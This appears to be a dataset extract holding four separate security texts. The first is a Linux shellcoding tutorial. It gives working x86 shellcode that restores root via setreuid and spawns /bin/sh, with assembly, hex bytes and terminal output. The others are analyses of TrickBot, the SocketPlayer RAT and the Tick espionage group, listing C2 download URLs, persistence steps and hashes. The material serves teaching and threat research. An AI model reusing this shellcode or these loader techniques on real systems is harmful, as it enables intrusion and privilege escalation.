text
stringlengths
8
115k
# Shellcoding in Linux ## Shellcode: An Introduction Shellcode is machine code that when executed spawns a shell. Not all "Shellcode" spawns a shell. Shellcode is a list of machine code instructions developed in a manner that allows it to be injected into a vulnerable application during its runtime. Injecting Shellcode in an application is done by exploiting various security holes in an application like buffer overflows, which are the most popular ones. You cannot access any values through static addresses because these addresses will not be static in the program that is executing your Shellcode. But this is not applicable to environment variables. While creating shellcode, always use the smallest part of a register to avoid null strings. A Shellcode must not contain null strings since null strings are delimiters. Anything after a null string is ignored during execution. That’s a brief about Shellcode. ## Methods for Generating Shellcode 1. Write the shellcode directly in hex code. 2. Write the assembly instructions, and then extract the opcodes to generate the shellcode. 3. Write in C, extract assembly instructions, and then the opcodes to finally generate the shellcode. ## The x86 Intel Register Set - EAX, EBX, ECX, and EDX are all 32-bit General Purpose Registers. - AH, BH, CH, and DH access the upper 16-bits of the General Purpose Registers. - AL, BL, CL, and DL access the lower 8-bits of the General Purpose Registers. - EAX, AX, AH, and AL are called the 'Accumulator' registers and can be used for I/O port access, arithmetic, interrupt calls, etc. We can use these registers to implement system calls. - EBX, BX, BH, and BL are the 'Base' registers and are used as base pointers for memory access. We will use this register to store pointers for arguments of system calls. This register is also sometimes used to store return values from an interrupt. - ECX, CX, CH, and CL are also known as the 'Counter' registers. - EDX, DX, DH, and DL are called the 'Data' registers and can be used for I/O port access, arithmetic, and some interrupt calls. ## The Linux System Call - The actions or events that initialize the entrance into the kernel are: 1. Hardware Interrupt. 2. Hardware trap. 3. Software initiated trap. - System calls are a special case of software initiated trap. The machine instruction used to initiate a system call typically causes a hardware trap that is handled specially by the kernel. - In Linux, the system calls are implemented using: 1. lcall7/lcall27 gates (lcall7_func) 2. int 0x80 (software interrupt) - ESI and EDI are used when making Linux system calls. ## Keep in Mind - The assembly language syntax used in this paper is based on nasm assembler. - The XOR is a great opcode for zeroing a register to eliminate the null bytes. - When developing shellcode, you will find that using the smallest registers often prevents having null bytes in code. ## Requirements - Backtrack 5 operating system. - Basic knowledge about Linux Terminal. - Knowledge about Assembly Language in x86 Architecture (32bit). ## Tools Required (Available in Backtrack 5) - gcc - it is a C and C++ compiler. - ld – it is a tool used for linking. - nasm - the Netwide Assembler is a portable 80x86 assembler. - objdump – it is a tool that displays information from object files. - strace – A tool to trace system calls and signals. ## Linux Shellcoding We will be using assembly language code for generating the shellcode. We get the most efficient lines of code when we go to machine level. Since we cannot go up with binaries, we will be coding in semi-machine code - assembly language with which we will generate the useful and efficient shellcode. ### To Test the Shellcode We will be using this C program. We can insert the shell code into the program and run it. ```c /* shellprogram.c */ char code[] = "Insert your shellcode here"; int main(int argc, char **argv) { int (*exeshell)(); // exeshell is a function pointer exeshell = (int (*)()) code; // exeshell points to our shellcode (int)(*exeshell)(); // execute as function code[] } ``` ### Examples of Creating and Executing Shellcode 1. **Demonstration of exit system call** I am beginning with the exit system call because of its simplicity. Open up Backtrack and take any file editor. Given below is the assembly code for the exit system call. ```asm ; exitcall.asm [SECTION .text] global _start _start: mov ebx, 0 ; exit code, 0=normal exit mov eax, 1 ; exit command to kernel int 0x80 ; interrupt 80 hex, call kernel ``` Save `exitcall.asm` and issue the following commands in the terminal. We will assemble the code using nasm and link it with ld. ```bash root@bt:~# nasm -f elf exitcall.asm root@bt:~# ld -o exit exitcall.o ``` Now we use objdump to extract the shell code from the object `exit.o`. ```bash root@bt:~# objdump -d exit ``` Here you can see a lot of nulls (00). Our shellcode won’t get executed if the nulls are there. The CPU will ignore whatever comes after null. It is better always to use the smallest register when inserting or moving a value in shell coding. We can easily remove NULL bytes by taking an 8-bit register rather than a 32-bit register. So here we use the AL register instead of the EAX register and XOR the EBX register to eliminate the nulls. We modify the assembly code as follows: ```asm ; exitcall.asm [SECTION .text] global _start _start: xor ebx, ebx ; zero out ebx, same function as mov ebx, 0 mov al, 1 ; exit command to kernel int 0x80 ``` We go through assembling, linking, and dumping: ```bash root@bt:~# nasm -f elf exitcall.asm root@bt:~# ld -o exit exitcall.o root@bt:~# objdump -d ./exit ``` See here there are no nulls (00). The bytes we need are `31 db 31 c0 b0 01 cd 80`. So now the shell code will be `"\x31\xdb\x31\xc0\xb0\x01\xcd\x80"`. Insert the shell code in our test program `shellprogram.c`. ```c /* shellprogram.c */ char code[] = "\x31\xdb\x31\xc0\xb0\x01\xcd\x80"; int main(int argc, char **argv) { int (*exeshell)(); exeshell = (int (*)()) code; (int)(*exeshell)(); } ``` Now, compile and execute `shellprogram.c`. ```bash root@bt:~# gcc shellprogram.c -o shellprogram root@bt:~# ./shellprogram root@bt:~# echo $? 0 ``` The output will be blank since it’s an exit call. To determine the exit status, give the command `echo $?` which prints out “0” as the exit state. We have successfully executed our first piece of shell code. You can also strace the program to ensure that it is calling exit. ```bash root@bt:~# strace ./shellprogram ``` 2. **Demonstration of displaying a message “Kerala Cyber Force”** Now let’s create a shellcode that displays a message. Here I will demonstrate how to load the address of a string in a piece of our code at runtime. This is important because while running shellcode in an unknown environment, the address of the string will be unknown because the program is not running in its normal address space. Consider the following assembly language program `kcf.asm`. ```asm ; kcf.asm [SECTION .text] global _start _start: jmp short ender starter: xor eax, eax ; zero out eax xor ebx, ebx ; zero out ebx xor edx, edx ; zero out edx xor ecx, ecx ; zero out ecx mov al, 4 ; system call write mov bl, 1 ; stdout is 1 pop ecx ; pop out the address of the string from the stack mov dl, 18 ; length of the string int 0x80 ; call the kernel xor eax, eax ; zero out eax mov al, 1 ; exit the shellcode xor ebx, ebx int 0x80 ender: call starter ; put the address of the string on the stack db 'Kerala Cyber Force' ``` Assemble it, link it, and dump it. ```bash root@bt:~# nasm -f elf kcf.asm root@bt:~# ld -o kcf kcf.o root@bt:~# objdump -d kcf ``` Now we can extract the shellcode as: ``` "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x12\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x4b\x65\x72\x61\x6c\x61\x20\x43\x79\x62\x65\x72\x20\x46\x6f\x72\x63\x65" ``` Insert the shell code in our test program `shellprogram.c`. ```c /* shellprogram.c */ char code[] = "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x12\xcd\x80" "\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x4b\x65\x72\x61\x6c\x61" "\x20\x43\x79\x62\x65\x72\x20\x46\x6f\x72\x63\x65"; int main(int argc, char **argv) { int (*exeshell)(); exeshell = (int (*)()) code; (int)(*exeshell)(); } ``` Save, compile, and run `shellprogram.c`. ```bash root@bt:~# gcc shellprogram.c -o shellprogram root@bt:~# ./shellprogram Kerala Cyber Force ``` 3. **Demonstration of spawning a shell** Now I will explain how to generate a shellcode that can spawn a shell with root privilege if it’s dropped. Here we call `setreuid()` to set root privilege if it’s dropped and we call `execve()` to execute our shell `/bin/sh`. Consider the following assembly code for setting the root privilege. ```asm xor eax, eax ; zero out eax mov al, 70 ; setreuid is syscall 70 xor ebx, ebx ; zero out ebx xor ecx, ecx ; zero out ecx int 0x80 ; call the kernel ``` Now consider the following assembly code for `execve`. ```asm pop ebx ; get the address of the string xor eax, eax ; zero out eax mov [ebx+7], al ; put a NULL where the N is in the string mov [ebx+8], ebx ; put the address of the string in ebx mov [ebx+12], eax ; put 4 null bytes into where the YYYY is mov al, 11 ; execve is syscall 11 lea ecx, [ebx+8] ; put the address of XXXX into ecx lea edx, [ebx+12] ; put the address of YYYY into edx int 0x80 ; call the kernel, and we got Shell!! ``` Combine both codes to generate our final assembly code that will set the root privilege and spawn a shell. ```asm ; shellex.asm [SECTION .text] global _start _start: xor eax, eax mov al, 70 xor ebx, ebx xor ecx, ecx int 0x80 jmp short ender starter: pop ebx xor eax, eax mov [ebx+7], al mov [ebx+8], ebx mov [ebx+12], eax mov al, 11 lea ecx, [ebx+8] lea edx, [ebx+12] int 0x80 ender: call starter db '/bin/shNXXXXYYYY' ``` As usual, assemble it, link it, and dump and extract the shell code. ```bash root@bt:~# nasm -f elf shellex.asm root@bt:~# ld -o shellex shellex.o root@bt:~# objdump -d shellex ``` The extracted shellcode looks like this: ``` "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" ``` Insert the shell code in our test program `shellprogram.c`. ```c /* shellprogram.c */ char code[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89" "\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68"; int main(int argc, char **argv) { int (*exeshell)(); exeshell = (int (*)()) code; (int)(*exeshell)(); } ``` Save, compile, and run `shellprogram.c`. ```bash root@bt:~# gcc shellprogram.c -o shellprogram root@bt:~# ./shellprogram sh-4.1# whoami root sh-4.1# exit exit ``` The smaller the shellcode, the more useful it will be and can target more vulnerable programs. So let’s tweak our shellcode. The NXXXXYYYY after `/bin/sh` was given to reserve some space. We no longer need them in the shellcode, so we can remove them, and the tweaked shellcode will be as follows: ``` "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89" "\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68" ``` Insert the shell code in our test program `shellprogram.c`. ```c /* shellprogram.c */ char code[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89" "\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68"; int main(int argc, char **argv) { int (*exeshell)(); exeshell = (int (*)()) code; (int)(*exeshell)(); } ``` Save, compile, and run `shellprogram.c`. ```bash root@bt:~# gcc shellprogram.c -o shellprogram root@bt:~# ./shellprogram sh-4.1# whoami root sh-4.1# exit exit ``` So that’s the beginning of Shellcoding in Linux. There are many ways to create efficient Shellcode. Keep in mind we can build the most robust, efficient, functional, and evil code if we go with assembly language. ## Disclaimer - This paper is made for simplicity and for better understanding of Shellcoding in Linux. - A lot of the explanations are referred from other papers. - This paper is for you. So you got the right to correct me if I am wrong somewhere. Send your comments and queries to ajin25 AT gmail DOT com.
# TrickBot Banker Insights by ASERT Team on October 25th, 2016 A new banking trojan, TrickBot, has seemingly risen from the ashes left behind by the November 2015 takedown of Dyreza/Dyre infrastructure and the arrests of threat actors identified by Russian authorities. Dyreza was used to target customers of over 1000 U.S. and U.K. banks and other companies during the peak of operations. Researchers at Threat Geek and MalwareBytes have already extensively covered general TrickBot functionality. During ASERT’s research, we uncovered a few new peculiarities as yet to be discussed, including links to Godzilla Loader and the ability to download and execute additional malware packages. First, when analyzing malware sample (all samples listed by MD5 hash) 3a55fd6b3f969b1324a1942af08e039e, we discovered links back to the somewhat new Godzilla Loader. In this case, Godzilla Loader (fc431f69760c598098f34eec337c8415) was used to install TrickBot from hXXps://185.14.29[.]13/api.php. The login panel for the Command & Control (C2) server appears at the URL admin.php. Additional research on Virus Total shows this particular instance to be part of a spam campaign. Threat actors laced an email message with a malicious .scr executable that installed Godzilla Loader. The loader was used to subsequently download TrickBot. The message appears as such: **Subject:** You have received a new fax **Attach:** fax198-203-9153.scr Interestingly enough, Godzilla Loader was used as the intermediary for both Bolek and Panda Bankers when threat actors first started distributing them. ## TrickBot’s Download and Execute Command As referenced in the malware analyses above, TrickBot has a number of commands that use slightly different URLs. For its “download and execute” functionality, TrickBot uses the following path template: `/%s/%s/1/%s/`. A completed URL looks something like: hXXps://138[.]201[.]44[.]28/tmt2/ADMIN-PC_W617601.F2F368CFEBB3F08115DB04EE5697EBBC/1/PB1qOLElSsGUg45wH3JyIKEMGzl60MB/ This path can be broken down into the following pieces: - “gtag” – group tag - Client ID - Command number - 16 to 32 random letters and digits The response from the C2 server will look similar to: The response can be split into three pieces using “\r\n” as a delimiter. The first piece is a “/” delimited header which echoes back a couple of the request pieces along with a few additional items: `/42/tmt2/ADMIN-PC_W617601.23BD67ECD8AEDEC8FEAE8253B2C09D03/XbuepYhfjAwVBawBh1PvDHyHKZmB49/41268/`. At the end is a trailer which seems to always be “1234567890”. In the middle is base64-encoded data. Decoding this base64 data results in the following type of output: This is a binary structure that can be broken up into the following pieces: - Unknown DWORD - 32-byte SHA256 digest - URL length (DWORD) - URL (Unicode) - Signature (Remaining bytes) hXXp://15616[.]merahost[.]ru/851321365.bin which links to a Pony Loader variant known as “Fox Stealer”. In this case, the Pony Loader variant was utilizing 85.132.136[.]5 as the C2. The admin panel login on this site is seen below. There is not enough evidence to conclude if threat actors behind TrickBot are using Pony Loader or are simply enabling access for additional threat actors. ## Conclusion ASERT analysts have taken a look at additional functionality and links between TrickBot and additional threats. Reports have suggested a mix of campaign methodologies were used to initially distribute TrickBot, including use of Rig Exploit Kit and malicious spam delivery. In general, if the threat actors are associated with former Dyreza activities, they have not reinvigorated the overall breadth of targeting observed within the original Dyreza campaigns. Threat actors limited initial exposure and breadth, targeting a small amount of Australian banks. Regardless, time will tell if these actors decide to match the overall expanse of Dyreza or limit their operations in hopes of staving off additional police interactions.
# G Data Whitepaper 2018 – Paper 3: Description for SocketPlayer ## 1. Introduction The twitter user @struppigel brought my attention to a post of @sudosev who found a RAT on virustotal which looks like a new malware family. The RAT is written in .NET and the source code can therefore be inspected easily. The RAT uses socket.io for communication which is not that typical for malware, hence it captured my attention. ## 2. Initial routine of SocketPlayer Firstly, the actual socket connection is created with the code line `Socket.socket = IO.Socket(URL)`. After that, the program checks whether the directory `C:\Users\USERNAME\Music\Player` exists. If it doesn’t, it will create that folder. Next, it creates a registry key to the `SOFTWARE\Microsoft\Windows\CurrentVersion\Run` path. Proceeding the autostart entry, the program copies itself to the location `C:\Users\USERNAME\Music\Player\Player.exe`. Lastly, the actual socket connection is made with the `socket.Emit` function which passes the following information to the C2: the username, the current date, the antivirus product name, and the machine name. Some information like the username is sent twice and the machine name is even sent thrice – no idea why the author did that. ## 3. Commands | Command | Functionality | |-----------|---------------| | fdrive | Iterates through all drives that are ready and returns the name, the total size, and again, the name. If a drive isn’t ready, only the name is returned. | | fdir | If the specified directory isn’t on the system, false is returned. Otherwise, the path of the subdirectories, the creation date of those, all files within the current directory, the file size, and the creation date of those is returned. | | mfdir | Returns the filename, file size, creation time, and the full name of all the extensions that were specified recursively using the sndflesi method. | | f1 | If the specified parameter is longer than 3 and contains “:\\” it will return “f1|drive”. Otherwise, it will return the name of the parent directory. | | strtsgnl | Returns the uid of the current running program. | | fdowl | Using the sndfle function, a file is uploaded to the C2 using the path `/cl/upld/`. | | fexc | Executes a file if it exists. | | fdel | Deletes a directory or file if it exists. | | procs | Returns information about currently running processes like the process name, whether the process responds, the window title, and the process id. | | prockil | Kills a running process by id. After that, the same information as in procs is returned (to check if the process is terminated). | | Gtscreen | A screenshot is made and returned. | | upld | A specified file from the `/uploads/` folder of the C2 is downloaded and stored in the temporary directory. After that, it’s executed. | | upldex | Similar to upld but with specified location in the temporary directory and an autostart entry for it as well. | | kylgs | Reads the contents of the file “klsetup.txt” in the temporary directory and returns them. | | destt | Kills the active socket connection, removes the autostart key, removes the created file and the path from the initial routine, and exits itself. | The command kylgs is possibly intended to serve as a keylogging feature as the name and the partial functionality suggest it. However, no actual keylogging functionality has been implemented and therefore the command is useless for now. ## 4. AvName() function The function AvName() uses the ManagementObjectSearcher class in order to enumerate the currently installed antivirus product with the SQL query “SELECT * FROM AntivirusProduct”. As multiple values are returned, the program targets the property value displayName as this value contains the name of the antivirus product. The displayName value is returned. This function is used in 2. Initial routine. ## 5. SocketPlayer downloader At the current time of writing, there are two variants of the SocketPlayer downloader out there. The first variant is a ~100KB file which does exactly what a typical downloader does - downloading a file and executing it. The second one is a little bit more complex and is described in 7. Variant 2. ## 6. Variant 1 According to virustotal, version 1a of the first variant was submitted on 2018-03-28. The variant 1b, which was submitted on 2018-03-31, is 5.5KB bigger. This is because the variant 1b contains an HTML file within its resources. This indicates that the author is planning to launch a phishing attack to club members. However, no email functionality is used in the sample and the HTML file makes therefore not much sense for now. The submission dates on virustotal indicate that version 1a is an older and version 1b is the newer version of the downloader. The addition of the HTML file reinforces this assumption. ## 7. Variant 2 Same as variant 1, there is also an old version and a new version. Both versions have a similar initial routine as in 2. Initial routine. The old version only uses the `C:\Users\USERNAME\Music` path and downloads the data from `hxxp://173.249.39.7:1337/uploads/excutbls/` with the filename specified via socket.io from the server. The new version checks if the file `hxxp://93.104.208.17:1337/uploads/excutbls/h/one/Player.exe` exists and then opens a socket connection. If the directory `C:\Users\USERNAME\Music\Audio Player` doesn’t exist, it will be created. If the file `C:\Users\USERNAME\Music\Audio Player\Audio.exe` doesn’t exist, an autostart key with the value “Audio Player” is created and the file copies itself to that path. After that, it does the same routine again for a different path. It checks if the directory `C:\Users\USERNAME\Music\Music Player` exists. If it doesn’t, the directory will be created. If the file `C:\Users\USERNAME\Music\Music Player\Music.exe` doesn’t exist, it will create an autostart key with the value “Music Player”. Next, it will download the file `hxxp://93.104.208.17:1337/uploads/executbls/h/two/Music.exe` and save it to the path `C:\Users\USERNAME\Music\Music Player\Music.exe`. Lastly, the machine name is sent twice, the username is also sent twice, and the date is sent to the C2. ## 8. Procedure of the latest SocketPlayer infection routine The downloader creates a connection to the host `hxxp://asdkajkjsdnaskjndjansdka.com`. This connection is made to detect sandboxed systems. Most sandboxed systems return true for any DNS query. So if this connection “succeeds” the malware stops itself. If the check has passed, the downloader downloads `hxxp://93.104.208.17:5156/uploads/executbls/h/Audio.exe`, decrypts that executable with the hardcoded string “!##&aAwPs1337” and uses the Invoke method to run the decrypted program in memory. The invoked program creates a socket connection to the host `hxxp://93.104.208.17:5156/socket.io` and creates the registry key `HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run “Audio Player”` with the command `C:\Users\USERNAME\Music\Audio.exe` and copies itself to the commands location. If the file `C:\Users\USERNAME\AppData\Roaming\Process Handler\Handler.exe` exists, it checks if the directory `C:\Users\USERNAME\AppData\Roaming\Process Handler` exists. If the directory doesn’t exist, it will be created. Furthermore, an autostart key with the value “Handler” to the above executable path is created. It then downloads the file `hxxp://93.104.208.17:5156/uploads/excutbls/h/Bkdr.exe` and saves it to the location above. It also downloads and executes the file `http://93.104.208.17:5156/uploads/excutbls/h/Cntrl.exe`. The `Cntrl.exe` downloads `Player.exe` (SocketPlayer), decrypts it, and runs the file in memory. ## 9. Bkdr.exe The file `Bkdr.exe` (possibly means backdoor.exe) just downloads the file `hxxp://93.104.208.17:5156/uploads/excutbls/h/MAudio.exe`, saves the file to the temporary directory, and executes it. The executed file downloads the file `hxxp://93.104.208.17:5156/uploads/excutbls/h/Audio.exe`, decrypts it with the hardcoded key “!##&aAwPs1337” and invokes it in memory. The invoked file is similar to variant 2 of the SocketPlayer downloader. ## 10. Changes to SocketPlayer At the beginning of this report, we had looked at the commands of the file. With the latest sample, some things changed which are listed below: - The C2 port has changed from 3000 to 7218. - The file location changed from `C:\Users\USERNAME\Music\Player\Player.exe` to `C:\Users\USERNAME\Music\Media Player\Player.exe`. - The information that is sent in the initial routine changed a bit. In the old version, the author sends the string “,1.1,1” to the C2. In the new version, the program sends “,1.2,1”, telling the C2 that the new version runs on the machine. - To the commands `Fdrive`, `fdir`, `smfdir`, `procs`, `prockil`, `gtscreen`, and `kylgs`, the variable `susrid` is added to be sent to the server. This is done to identify the infected systems better. - The functionality `stscrnpercnt` is added. This feature assists the `gtscreen` function to set the quality of the image. - The `gtscreen` function additionally to the `susrid` also sends the computer name with the picture. - The storage location of `upldex` is changed to `C:\Users\User\AppData\Roaming\Microsoft\Windows\Templates`. An autostart key to the registry is added. The downloaded file is also executed. - The `kylgs` function also switched to use the above path to read the file `klsetup.txt`. - The `destt` function additionally checks if the following path and files are available. If so, it deletes them: - `C:\Users\USERNAME\AppData\Roaming\Process Handler` - `C:\Users\USERNAME\AppData\Roaming\Process Handler\Handler.exe` - `C:\Users\User\AppData\Roaming\Microsoft\Windows\Templates\Image.exe` - `C:\Users\User\AppData\Roaming\Microsoft\Windows\Templates\Media.exe`. ## 11. Spreading It appears that the website `https://bsf.[gov].in` which is the border security force of India has been used to spread malware including SocketPlayer downloader. Currently, the website does not seem to spread malware again. ## 12. File hashes and resources - `de38e74b2cd493d0f014fc6ca5d2834cea213778c2e056a7c84e9547fe275889` - `0136b20b48cb3178fad12c1bd8d5d2779f3932f2c98de09e08eeddb3a84b4176` - `1cf67c25274473724a6cf614d45217edc16edbccebb3fa212f7b17e127362ea7` - `8b158aaf7215aea9766843219c2749d7ecb44986262107b38e234756738b3e7c` - `1fd13875bf3df273acc893c6a0fe0144a05d5534624471baaa48f014757301ef` - `c446cd91b2f5e0ca77716ec361e75da03c8d4c1cbf4d83fe927ec04bb1c78a83` - `8c7f9824580ea6c2286604c2677e1d27b95c4b3f9b2151b17a463f94bb68aa66` - `d38292508697e7cd8b38d8e0d159e6e67e7191305f883aec94aeb95887748b2f` - `ac1d717e345a831766f7d00c22db54121c502c9de5723bcc95bff8bb040157c8` - `3d0e90b82c57abfb22ed76c020ab34449efbcfb1c3e20ae2a3874a4ab2cc1743` - `4f21bb54b372a932fa3d13c9dcfaee06fc7e691a9dd86af3a4e47d6d003e020f` - `ace5a17702239cebf4ebc9ae034f3b2878e471978b895d3f461ef38fce7b1a40`
# “Tick” Group Continues Attacks By Kaoru Hayashi July 24, 2017 at 6:00 PM Category: Unit 42 Tags: 9002, Daserf, Datper, Gh0st, HomamDownloader, JAPAN KOREA, Minzen, NamelessHdoor, Tick The “Tick” group has conducted cyber espionage attacks against organizations in the Republic of Korea and Japan for several years. The group focuses on companies that have intellectual property or sensitive information like those in the Defense and High-Tech industries. The group is known to use custom malware called Daserf, but also employs multiple commodity and custom tools, exploits vulnerabilities, and uses social engineering techniques. Regarding the command and control (C2) infrastructure, Tick previously used domains registered through privacy protection services to keep their anonymity but have moved to compromised websites in recent attacks. With multiple tools and anonymous infrastructure, they are running longstanding and persistent attack campaigns. We have observed that the adversary has repeatedly attacked a high-profile target in Japan using multiple malware families for the last three years. ## Tick Tools Symantec was first to publicly report on Tick, followed by LAC in 2016. These reports discussed the group’s malware, Daserf (a.k.a Muirim or Nioupale) and some additional downloader programs. Though Daserf wasn’t a popular attack tool at the time of publishing the two reports, it dates back to at least 2011. Using AutoFocus, we were able to identify the link among Daserf and two other threats, 9002 and Invader. These threats shared infrastructure between July 2012 and April 2013. ### Sharing C2 servers among threats Invader (a.k.a Kickesgo) is a backdoor that injects its main code into a legitimate process, such as explorer.exe, and has the following functions: - Logs keystrokes and mouse movement - Captures screenshots - Opens cmd.exe shell - Enumerates processes - Executes programs - Removes itself - Enumerates all opening TCP and UDP ports 9002 is the infamous RAT frequently seen in targeted attacks reported by various security vendors, including Palo Alto Networks. Interestingly, the C2 servers linking 9002 to Daserf were described in the report of an Adobe Flash Zero-day attack from FireEye in 2013. These domains were registered through the privacy protection services in 2008 and 2011. Though we don’t know the targets of these malware samples at the time of writing this article, we suspect the same group is behind these threats for a number of reasons. The samples of Daserf that shared infrastructure were submitted to VirusTotal only from Japan multiple times in 2013. As noted in a later section, another Invader sample shared different C2 servers with Daserf. Symantec reported that Tick exploited additional Adobe Flash and Microsoft Office vulnerabilities. SecureWorks said the adversary group is abusing a previously undisclosed vulnerability in Japanese Software Asset Management system on endpoints. Therefore, Tick or their digital quartermaster is capable of deploying new and unique exploits. ## Minzen and Nameless Backdoor In July 2016, we identified a compromised website in Japan that was hosting a Daserf variant. The web server was also a C2 server for another threat, Minzen (a.k.a, XXMM, Wali, or ShadowWali). The threat often uses compromised web servers in Japan and the Republic of Korea. As Kaspersky and Cybereason recently posted, Minzen is a modular malware that has both 32-bit and 64-bit components in its resource section or configuration data in its body. One of the Minzen samples (SHA256: 9374040a9e2f47f7037edaac19f21ff1ef6a999ff98c306504f89a37196074a2) found in the Republic of Korea in December 2016 installs a simple backdoor module as a final payload on a compromised computer. It opens a TCP port and receives commands from a remote attacker. According to the debug path in the body, the author of the tool called it “NamelessHdoor,” and its internal version is identified as “V1.5.” The payload is based on “Nameless Backdoor” which has been publicly available for more than ten years. The oldest code we could identify was hosted on a famous Chinese source code sharing site since 2005. The author of the NamelessHdoor appears to have created additional versions of the Nameless Backdoor by removing unnecessary functions and added open-source DLL injection code from ReflectiveDLLLoader. There is minimal public information regarding the Nameless Backdoor, except for the interesting report from Cyphort in 2015. The researcher of the company analyzed multiple threats, including Invader, Nioupale (Daserf) and Hdoor found in an attack against an Asian financial institution. We examined the sample described in the report as Hdoor and found it’s a previous version of the NamelessHdoor we discovered in the Minzen sample, but without support for DLL injection. ## Shared Infrastructure and Cipher Code with Custom Gh0st Other interesting samples in the report are dllhost.exe and Shell64.dll. We don’t have the same files but found possible variants close to their description in the article. These include the following: - Executable files that connect to the same remote server, blog.softfix.co[.]kr:80, download a DLL file and execute the ‘lowmain’ export function. - DLL files have ‘lowmain’ and ‘main’ exports. It turned out that the DLL files we found are a custom variant of Gh0st RAT, and the EXE files download the RAT. Since the source code is publicly available, Gh0st RAT has been used by multiple actors for years. The domain, softfix.co[.]kr was registered in 2014. One of the subdomains, news.softfix.co[.]kr was the C2 server of Daserf (SHA256: 9c7a34390e92d4551c26a3feb5b181757b3309995acd1f92e0f63f888aa89423). Another subdomain, bbs.softfix.co[.]kr was hosted on the same IP address as bbs.gokickes[.]com, which was reported as the C2 server of Invader by Cyphort. We also identified www.gokickes[.]com was the C2 of another Invader variant (SHA256: 57e1d3122e6dc88d9eb2989f081de88a0e6864e767281d509ff58834928895fb). In addition to the infrastructure, the attacker also shared code. The Gh0st downloaders employ simple substitution ciphers for hiding strings. The cipher converts one character to another based on a substitution table. As an example, the character ‘K’ in plain text is changed to ‘5’ in cipher text, ‘h’ is converted to ‘j’ and so on. The string ‘connect’ was encoded to ‘zF((0za’ using this table. The following Python script can decipher the encoded string. ```python plaintext = "K h L 9 V 1 d s 5 Z \" Q n f N C & a m p ; F b 8 x G r - ( ) & l t ; & g t ; [ ] { } | + T H c e ; 0 % 7 O i z # W D E 6 q S ? a w . / B J l k , y U P j g I ` ^ @ $ * t u m Y A ' p 2 R o X = v _ : M 4 3" ciphertext = "5 j 2 C n x ` ^ @ $ * ( ] { } | + m X k 3 D K ' L G c h H N P g Z , z 0 T 8 _ s R U 7 ) & l t ; & g t ; [ l B p d f I # % b u ; y t - Y e o W ? 4 v A M Q V a . 6 q J i : = w F O 9 & a m p ; / 1 E S r" ``` The exact same table for simple substitution cipher is used in a variant of Daserf (SHA256: 01d681c51ad0c7c3d4b320973c61c28a353624ac665fd390553b364d17911f46). We also found a very similar table in other Tick tools. Since the strings are unique to these threats, we believe a developer linked to the group built these tools. Because of the shared domains and code, we believe the incident reported by Cyphort have ties to Tick. ## Conclusion Tick was spotted last year, but they are actively and silently attacking various organizations in South Korea and Japan for a number of years. While some of the group’s tools, tactics, and procedures (TTPs) have been covered within this article, it is likely there is much that still remains uncovered. Palo Alto Networks customers are protected by these threats in the following ways: 1. All samples discussed are classified as malicious by the WildFire sandbox platform. 2. All identified domains have been classified as malicious. 3. AutoFocus users can track the malware described in this report using Tick campaign tag and various malware tags. 4. Customers running Traps are protected from the discussed threats. ## Indicator of Compromise ### SHA256 **Daserf** - 04080fbab754dbf0c7529f8bbe661afef9c2cba74e3797428538ed5c243d705a - f8458a0711653071bf59a3153293771a6fb5d1de9af7ea814de58f473cba9d06 - e8edde4519763bb6669ba99e33b4803a7655805b8c3475b49af0a49913577e51 - 21111136d523970e27833dd2db15d7c50803d8f6f4f377d4d9602ba9fbd355cd - 9c7a34390e92d4551c26a3feb5b181757b3309995acd1f92e0f63f888aa89423 **Invader** - 0df20ccd074b722d5fe1358b329c7bdebcd7e3902a1ca4ca8d5a98cc5ce4c287 - e9574627349aeb7dd7f5b9f9c5ede7faa06511d7fdf98804526ca1b2e7ce127e - 57e1d3122e6dc88d9eb2989f081de88a0e6864e767281d509ff58834928895fb **9002** - 933d66b43b3ce9a572ee3127b255b4baf69d6fdd7cb24da609b52ee277baa76e - 2bec20540d200758a223a7e8f7b2f98cd4949e106c1907d3f194216208c5b2fe - 055fe8002de293401852310ae76cb730c570f2037c3c832a52a79b70e2cb7831 **Minzen** - 797d9c00022eaa2f86ddc9374f60d7ad92128ca07204b3e2fe791c08da9ce2b1 - 9374040a9e2f47f7037edaac19f21ff1ef6a999ff98c306504f89a37196074a2 - 26727d139b593486237b975e7bdf93a8148c52d5fb48d5fe540a634a16a6ba82 **NamelessHdoor** - dfc8a6da93481e9dab767c8b42e2ffbcd08fb813123c91b723a6e6d70196636f **Gh0st RAT Downloader** - ce47e7827da145823a6f2b755975d1d2f5eda045b4c542c9b9d05544f3a9b974 - e34f4a9c598ad3bb243cb39969fb9509427ff9c08e63e8811ad26b72af046f0c **Custom Gh0st** - 8e5a0a5f733f62712b840e7f5051a2bd68508ea207e582a190c8947a06e26f40 **Datper** - 7d70d659c421b50604ce3e0a1bf423ab7e54b9df361360933bac3bb852a31849 **HomamDownloader** - a624d2cd6dee3b6150df3ca61ee0f992e2d6b08b3107f5b00f8bf8bcfe07ebe7 